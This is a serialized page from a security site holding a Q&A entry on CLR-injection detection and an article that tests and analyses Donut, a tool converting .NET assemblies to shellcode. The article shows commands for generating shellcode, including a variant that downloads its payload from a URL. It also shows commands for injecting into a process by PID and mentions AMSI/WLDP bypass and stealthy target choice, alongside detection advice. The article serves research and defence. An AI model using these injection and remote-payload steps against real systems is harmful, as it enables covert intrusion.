[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fX2Xyq1DmplV14jR9cdYObX9aIgeW146oZU9qc3MDMcU":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":33,"aiModel":30,"aiConfidence":30,"updatedAt":49,"createdAt":49,"_status":48},1159,"How does the ModuleMonitor detection tool identify CLR injection, and why is it relevant for defenders?","`ModuleMonitor` uses the WMI event `Win32_ModuleLoadTrace` to monitor all module loads in real time. It flags a process as having CLR injection if the process loads CLR‑related DLLs (e.g., `mscoree.dll`, `mscoreei.dll`, `mscorlib.dll`—names starting with `msco*`) but is not itself a .NET application. This is relevant for defenders because it can detect Donut‑style injections that load .NET into non‑.NET processes. A simpler equivalent is `tasklist \u002Fm msco*`. For more on bypassing CLR detection, see [Analysis of Bypassing AppLocker Using Assembly Load](\u002Fnews\u002Fanalysis-and-summary-of-bypassing-applocker-using-assembly-load-loadfile).","\u003Cp>`ModuleMonitor` uses the WMI event `Win32_ModuleLoadTrace` to monitor all module loads in real time. It flags a process as having CLR injection if the process loads CLR‑related DLLs (e.g., `mscoree.dll`, `mscoreei.dll`, `mscorlib.dll`—names starting with `msco*`) but is not itself a .NET application. This is relevant for defenders because it can detect Donut‑style injections that load .NET into non‑.NET processes. A simpler equivalent is `tasklist \u002Fm msco*`. For more on bypassing CLR detection, see [Analysis of Bypassing AppLocker Using Assembly Load](\u002Fnews\u002Fanalysis-and-summary-of-bypassing-applocker-using-assembly-load-loadfile).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fshellcode-generation-tool-donut-testing-and-analysis\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","how-does-the-modulemonitor-detection-tool-identify-clr-injection-and-why-is-it-r-1777480265648","ModuleMonitor, CLR injection detection, WMI, Win32_ModuleLoadTrace, mscoree.dll, tasklist, defender",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":27,"cover":30,"author":31,"views":19,"readingTime":32,"status":33,"publishedAt":34,"seo":35,"tags":39,"qaPairs":40,"meta":45,"updatedAt":46,"createdAt":47,"_status":48},281,"Shellcode Generation Tool Donut Testing and Analysis","shellcode-generation-tool-donut-testing-and-analysis","Test and analyze Donut, a tool converting .NET assemblies to stealthy shellcode for memory-based exploitation, injection, and bypassing defenses like AppLocker.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Donut is a shellcode generation tool that can convert .NET assemblies into shellcode. This represents a further exploitation of execute-assembly, offering higher stealth and stronger extensibility.\u003C\u002Fp>\u003Cp>Combined with byt3bl33d3r's SILENTTRINITY, converting it into shellcode and performing injection broadens its applicability.\u003C\u002Fp>\u003Cp>This article will test Donut, analyze the code in the Donut project piece by piece, and summarize the characteristics of this tool.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The version tested in this article uses Donut v0.9. New versions will add more features and are worth continuous attention.\u003C\u002Fp>\u003Cp>Donut address:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002FTheWover\u002Fdonut\u003C\u002Fp>\u003Cp>Articles detailing Donut:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fthewover.github.io\u002FIntroducing-Donut\u002F\u003C\u002Fp>\u003Cp>https:\u002F\u002Fmodexp.wordpress.com\u002F2019\u002F05\u002F10\u002Fdotnet-loader-shellcode\u002F\u003C\u002Fp>\u003Cp>https:\u002F\u002Fmodexp.wordpress.com\u002F2019\u002F06\u002F03\u002Fdisable-amsi-wldp-dotnet\u002F\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following content:\u003C\u002Fp>\u003Cul>\u003Cli>Introduction to Related Technologies\u003C\u002Fli>\u003Cli>Source Code Structure\u003C\u002Fli>\u003Cli>Practical Testing\u003C\u002Fli>\u003Cli>Exploitation Analysis\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Introduction to Related Technologies\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Assembly.Load\u003C\u002Fh3>\u003Cp>Used to load .NET assemblies in the current process; cannot inject into other processes.\u003C\u002Fp>\u003Cp>Test code for .NET assembly:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>namespace ConsoleApplication1\u003Cbr>{\u003Cbr>    public class Program\u003Cbr>    {\u003Cbr>        public static void test()\u003Cbr>        {\u003Cbr>            System.Diagnostics.Process p = new System.Diagnostics.Process();\u003Cbr>            p.StartInfo.FileName = \"c:\\\\windows\\\\system32\\\\calc.exe\";  \u003Cbr>            p.Start();\u003Cbr>        }\u003Cbr>        static void Main(string[] args)\u003Cbr>        {\u003Cbr>            test();\u003Cbr>        }   \u003Cbr>    }\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>A calculator will pop up when loading this .NET assembly, used for verification purposes\u003C\u002Fp>\u003Ch4>(1) PowerShell implementation of Assembly.Load\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$bytes = [System.IO.File]::ReadAllBytes(\"ConsoleApplication1.exe\")\u003Cbr>[Reflection.Assembly]::Load($bytes)\u003Cbr>[ConsoleApplication1.Program]::test()\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Refer to the previous article 'Analysis and Summary of Bypassing Applocker Using Assembly Load &amp; LoadFile'\u003C\u002Fp>\u003Ch4>(2) C# Implementation of Assembly.Load\u003C\u002Fh4>\u003Cp>https:\u002F\u002Fgithub.com\u002Fanthemtotheego\u002FSharpCradle\u003C\u002Fp>\u003Cp>The code implements downloading a .NET assembly from a remote server and loading it via Assembly.Load\u003C\u002Fp>\u003Ch3>2. execute-assembly\u003C\u002Fh3>\u003Cp>Load .NET assemblies from memory, capable of injecting into other processes in the form of a DLL\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Refer to the previous article 'Analysis of Loading .NET Assemblies from Memory (execute-assembly) for Exploitation'\u003C\u002Fp>\u003Cp>The entire process executes in memory without writing to the file system (DLL reflection is required for injection at this point)\u003C\u002Fp>\u003Cp>The payload exists in DLL form and does not generate suspicious processes\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>If using LoadLibrary to load a DLL, the DLL must be written to the file system\u003C\u002Fp>\u003Ch3>3.Donut\u003C\u002Fh3>\u003Cp>Based on execute-assembly, implements loading .NET assemblies from memory in the form of shellcode\u003C\u002Fp>\u003Cp>The advantage is that when injecting into other processes, it no longer relies on DLL reflection, making it more stealthy and easier to extend\u003C\u002Fp>\u003Cp>More stealthy means no DLL exists when injecting into other processes\u003C\u002Fp>\u003Cp>Easier to extend means any method capable of executing shellcode can use Donut, and secondary development based on Donut is also straightforward\u003C\u002Fp>\u003Ch2>0x03 Source Code Structure\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>For version 0.9 files\u003C\u002Fp>\u003Ch3>1. Subprojects\u003C\u002Fh3>\u003Ch4>1.DemoCreateProcess\u003C\u002Fh4>\u003Cp>https:\u002F\u002Fgithub.com\u002FTheWover\u002Fdonut\u002Ftree\u002Fmaster\u002FDemoCreateProcess\u003C\u002Fp>\u003Cp>A C# program that, after compilation, generates the file ClassLibrary.dll, which functions to launch a process using the two passed parameters\u003C\u002Fp>\u003Cp>Can be converted into shellcode using Donut to test whether Donut's shellcode generation function works\u003C\u002Fp>\u003Ch4>2.DonutTest\u003C\u002Fh4>\u003Cp>https:\u002F\u002Fgithub.com\u002FTheWover\u002Fdonut\u002Ftree\u002Fmaster\u002FDonutTest\u003C\u002Fp>\u003Cp>C# program, after compilation generates file DonutTest.exe, used to inject shellcode into a process with specified PID\u003C\u002Fp>\u003Cp>Implementation details:\u003C\u002Fp>\u003Cp>Store base64-encrypted shellcode in an array, decrypt it and inject into the specified process via CreateRemoteThread\u003C\u002Fp>\u003Ch4>3.rundotnet.cpp\u003C\u002Fh4>\u003Cp>https:\u002F\u002Fgithub.com\u002FTheWover\u002Fdonut\u002Fblob\u002Fmaster\u002FDonutTest\u002Frundotnet.cpp\u003C\u002Fp>\u003Cp>C program, compiled file is rundotnet.exe, used to read specified files and load .NET assemblies from memory using CLR\u003C\u002Fp>\u003Cp>Method for loading .NET assemblies from memory:\u003C\u002Fp>\u003Cul>\u003Cli>Use the latest version of .Net in the current system\u003C\u002Fli>\u003Cli>Use ICorRuntimeHost interface\u003C\u002Fli>\u003Cli>Use Load_3(...) to read and load the Main method of .NET assemblies from memory\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>4.ModuleMonitor\u003C\u002Fh4>\u003Cp>https:\u002F\u002Fgithub.com\u002FTheWover\u002Fdonut\u002Ftree\u002Fmaster\u002FModuleMonitor\u003C\u002Fp>\u003Cp>Use WMI event Win32_ModuleLoadTrace to monitor module loading, will flag if CLR injection is detected\u003C\u002Fp>\u003Cp>WMI event Win32_ModuleLoadTrace:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fprevious-versions\u002Fwindows\u002Fdesktop\u002Fkrnlprov\u002Fwin32-moduleloadtrace\u003C\u002Fp>\u003Cp>Methods for detecting CLR injection in a program:\u003C\u002Fp>\u003Cp>If a process loads the CLR but the program is not a .NET assembly, then the CLR has been injected into it\u003C\u002Fp>\u003Cp>Methods for detecting whether a process loads the CLR in a program:\u003C\u002Fp>\u003Cp>Check if the process has loaded CLR-related DLLs (mscoree.dll, mscoreei.dll, and mscorlib.dll), where the DLL names start with \"msco\"\u003C\u002Fp>\u003Cp>This project is generally used for defensive detection to check whether CLR injection events occur in the system. Therefore, after startup, the process runs continuously, recording events of new modules being loaded in real time\u003C\u002Fp>\u003Cp>Here, tasklist.exe can also achieve similar functionality with the following command:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>tasklist \u002Fm msco*\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>This command can identify which processes have called DLLs starting with \"msco\"\u003C\u002Fp>\u003Ch4>5.ProcessManager\u003C\u002Fh4>\u003Cp>https:\u002F\u002Fgithub.com\u002FTheWover\u002Fdonut\u002Ftree\u002Fmaster\u002FProcessManager\u003C\u002Fp>\u003Cp>Used to enumerate processes on the current or remote computer\u003C\u002Fp>\u003Cp>Similar to the functionality of tasklist.exe, with the following additional features:\u003C\u002Fp>\u003Cul>\u003Cli>Determine process privileges\u003C\u002Fli>\u003Cli>Determine process architecture (32-bit or 64-bit)\u003C\u002Fli>\u003Cli>Determine whether a process has loaded the CLR\u003C\u002Fli>\u003C\u002Ful>\u003Ch3>2. Components\u003C\u002Fh3>\u003Ch4>1. https:\u002F\u002Fgithub.com\u002FTheWover\u002Fdonut\u002Fblob\u002Fmaster\u002Fpayload\u002Fpayload.c\u003C\u002Fh4>\u003Cp>Key functionalities of Donut, implementing the following operations:\u003C\u002Fp>\u003Cp>(1) Obtain and decrypt shellcode\u003C\u002Fp>\u003Cp>Two methods are provided:\u003C\u002Fp>\u003Cul>\u003Cli>Read shellcode and decryption key from payload.h\u003C\u002Fli>\u003Cli>Download shellcode and decryption key from an HTTP server\u003C\u002Fli>\u003C\u002Ful>\u003Cp>(2) Load .NET assemblies from memory using CLR\u003C\u002Fp>\u003Cul>\u003Cli>Call the ICLRMetaHost::GetRuntime method to obtain an ICLRRuntimeInfo pointer\u003C\u002Fli>\u003Cli>Use the ICorRuntimeHost interface\u003C\u002Fli>\u003Cli>Attempt to disable AMSI and WLDP\u003C\u002Fli>\u003Cli>Use Load_3(...) to read from memory\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Details on disabling AMSI and WLDP:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fmodexp.wordpress.com\u002F2019\u002F06\u002F03\u002Fdisable-amsi-wldp-dotnet\u002F\u003C\u002Fp>\u003Cp>Noteworthy points:\u003C\u002Fp>\u003Cp>Typically, using the ICorRuntimeHost interface requires calling mscorlib.tlb\u003C\u002Fp>\u003Cp>Here, mscorlib.tlb is not used; it is implemented through manual definition\u003C\u002Fp>\u003Cp>For more details, refer to:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fmodexp.wordpress.com\u002F2019\u002F05\u002F10\u002Fdotnet-loader-shellcode\u002F\u003C\u002Fp>\u003Ch4>2. https:\u002F\u002Fgithub.com\u002FTheWover\u002Fdonut\u002Ftree\u002Fmaster\u002Fpayload\u002Fexe2h\u003C\u002Fh4>\u003Cp>Used to convert exe to shellcode and save it into an array\u003C\u002Fp>\u003Cp>Extract compiled machine code (including dll and decryption key) from the .text section of payload.exe, and save it as an array in payload_exe_x64.h or payload_exe_x86.h\u003C\u002Fp>\u003Ch4>3. https:\u002F\u002Fgithub.com\u002FTheWover\u002Fdonut\u002Fblob\u002Fmaster\u002Fpayload\u002Fpayload_exe_x64.h\u003C\u002Fh4>\u003Cp>Stores 64-bit machine code (including dll and decryption key)\u003C\u002Fp>\u003Ch4>4. https:\u002F\u002Fgithub.com\u002FTheWover\u002Fdonut\u002Fblob\u002Fmaster\u002Fpayload\u002Fpayload_exe_x86.h\u003C\u002Fh4>\u003Cp>Stores 32-bit machine code (including dll and decryption key)\u003C\u002Fp>\u003Ch4>5. https:\u002F\u002Fgithub.com\u002FTheWover\u002Fdonut\u002Fblob\u002Fmaster\u002Fpayload\u002Finject.c\u003C\u002Fh4>\u003Cp>Uses RtlCreateUserThread to inject shellcode into a specified process\u003C\u002Fp>\u003Cp>Can be used to test the functionality of injecting shellcode into a specified process\u003C\u002Fp>\u003Ch4>6.https:\u002F\u002Fgithub.com\u002FTheWover\u002Fdonut\u002Fblob\u002Fmaster\u002Fpayload\u002Frunsc.c\u003C\u002Fh4>\u003Cp>C\u002FS architecture, two functions: can send and receive shellcode and execute it\u003C\u002Fp>\u003Cp>Used to test the functionality of payload.bin\u003C\u002Fp>\u003Ch4>7.https:\u002F\u002Fgithub.com\u002FTheWover\u002Fdonut\u002Fblob\u002Fmaster\u002Fencrypt.c\u003C\u002Fh4>\u003Cp>Implementation of symmetric encryption\u003C\u002Fp>\u003Ch4>8.https:\u002F\u002Fgithub.com\u002FTheWover\u002Fdonut\u002Fblob\u002Fmaster\u002Fhash.c\u003C\u002Fh4>\u003Cp>API Hashing, using Maru hash here\u003C\u002Fp>\u003Ch4>9.https:\u002F\u002Fgithub.com\u002FTheWover\u002Fdonut\u002Fblob\u002Fmaster\u002Fdonut.c\u003C\u002Fh4>\u003Cp>Main program, used to convert .NET assemblies into shellcode\u003C\u002Fp>\u003Ch2>0x04 Actual Testing\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Select test dll\u003C\u002Fh3>\u003Cp>Using the subproject DemoCreateProcess here\u003C\u002Fp>\u003Cp>After compilation, generates the file ClassLibrary.dll\u003C\u002Fp>\u003Ch3>2. Use Donut to generate shellcode\u003C\u002Fh3>\u003Cp>64-bit:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>32-bit:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>donut.exe -a 1 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After executing the command, the file payload.bin is generated.\u003C\u002Fp>\u003Cp>If the -u option is specified to set a URL, an additional Module file with a random name will be generated, as shown in the following example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe -u http:\u002F\u002F192.168.1.1\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The files payload.bin and YX63F37T are generated.\u003C\u002Fp>\u003Cp>Upload YX63F37T to http:\u002F\u002F192.168.1.1.\u003C\u002Fp>\u003Cp>Next, execute payload.bin by injecting shellcode. payload.bin will download the actual shellcode from http:\u002F\u002F192.168.1.1\u002FYX63F37T and execute it.\u003C\u002Fp>\u003Ch3>3. View Process Information\u003C\u002Fh3>\u003Cp>Here, the sub-project ProcessManager is used.\u003C\u002Fp>\u003Cp>After listing the processes, if the Managed option is True, it indicates that the process has already loaded the CLR.\u003C\u002Fp>\u003Cp>ProcessManager supports filtering specific processes, for example, to view only the process information of notepad.exe, use the following command:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ProcessManager.exe --name notepad\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>4. Inject shellcode\u003C\u002Fh3>\u003Cp>Assume the target process is 3306\u003C\u002Fp>\u003Ch4>(1) Using sub-project DonutTest\u003C\u002Fh4>\u003Cp>Base64 encode payload.bin and save it to the clipboard, PowerShell command as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$filename = \"payload.bin\"\u003Cbr>[Convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | clip\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Replace the corresponding variable in the DonutTest project, after successful compilation execute the following command:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>DonutTest.exe 3306\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(2) Using RtlCreateUserThread\u003C\u002Fh4>\u003Cp>https:\u002F\u002Fgithub.com\u002FTheWover\u002Fdonut\u002Fblob\u002Fmaster\u002Fpayload\u002Finject.c\u003C\u002Fp>\u003Cp>Command as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>inject.exe 3306 payload.bin\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>5. Detection\u003C\u002Fh3>\u003Cp>List processes that have loaded CLR but are not .NET assemblies, command as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>tasklist \u002Fm msco*\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x05 Exploitation Analysis\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Donut can convert .NET assemblies into shellcode\u003C\u002Fp>\u003Cp>This means that programs developed using C# can be converted into shellcode via Donut\u003C\u002Fp>\u003Cp>Given current trends, open-source C# tools are increasingly prevalent, for example:\u003C\u002Fp>\u003Cul>\u003Cli>https:\u002F\u002Fgithub.com\u002FGhostPack\u002FSharpWMI\u003C\u002Fli>\u003Cli>https:\u002F\u002Fgithub.com\u002Fcheckymander\u002FSharp-WMIExec\u003C\u002Fli>\u003Cli>https:\u002F\u002Fgithub.com\u002Fjnqpblc\u002FSharpTask\u003C\u002Fli>\u003C\u002Ful>\u003Cp>In penetration testing, C# will gradually replace PowerShell, and the use of Donut will also become a trend\u003C\u002Fp>\u003Cp>Exploitation methodology for Donut:\u003C\u002Fp>\u003Col>\u003Cli>Convert .NET assemblies into shellcode, for instance, for use with SILENTTRINITY\u003C\u002Fli>\u003Cli>Integrate as a module into other tools\u003C\u002Fli>\u003Cli>Extended functionality: Supports migrate capabilities similar to meterpreter\u003C\u002Fli>\u003C\u002Fol>\u003Cp>For greater stealth, one can first use ProcessManager to enumerate processes that have already loaded the CLR and then inject into them\u003C\u002Fp>\u003Cp>Detection of Donut:\u003C\u002Fp>\u003Cp>Donut needs to use CLR to load .NET assemblies from memory. The following detection methods can be employed:\u003C\u002Fp>\u003Cul>\u003Cli>The process is not a .NET assembly\u003C\u002Fli>\u003Cli>The process loaded CLR-related DLLs (DLLs starting with \"msco\")\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Normal programs may also exhibit this behavior\u003C\u002Fp>\u003Cp>Two detection methods:\u003C\u002Fp>\u003Cul>\u003Cli>Use the command: tasklist \u002Fm msco*\u003C\u002Fli>\u003Cli>Use WMI event Win32_ModuleLoadTrace to monitor module loading\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Focus monitoring on processes meeting the above conditions\u003C\u002Fp>\u003Ch2>0x06 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article conducted testing and analysis on Donut, summarized exploitation ideas, and provided defense recommendations. Donut is worthy of in-depth study, and new versions of Donut are anticipated.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr",null,"Onedaysec",7,"published","2026-02-02T07:25:19.686Z",{"title":36,"description":14,"keywords":37,"ogImage":30,"canonicalUrl":30,"noIndex":38},"Donut Shellcode Tool: Testing, Analysis & .NET Assembly Exploitation","Donut shellcode, .NET assembly, execute-assembly, shellcode generation, stealth exploitation, process injection, Assembly.Load, SILENTTRINITY, memory loading, bypass techniques",false,[],{"docs":41,"hasNextPage":38},[4,42,43,44],1158,1157,1156,{"title":30,"description":30,"image":30},"2026-07-24T02:07:13.346Z","2026-07-23T16:02:36.405Z","draft","2026-07-23T16:17:05.588Z"]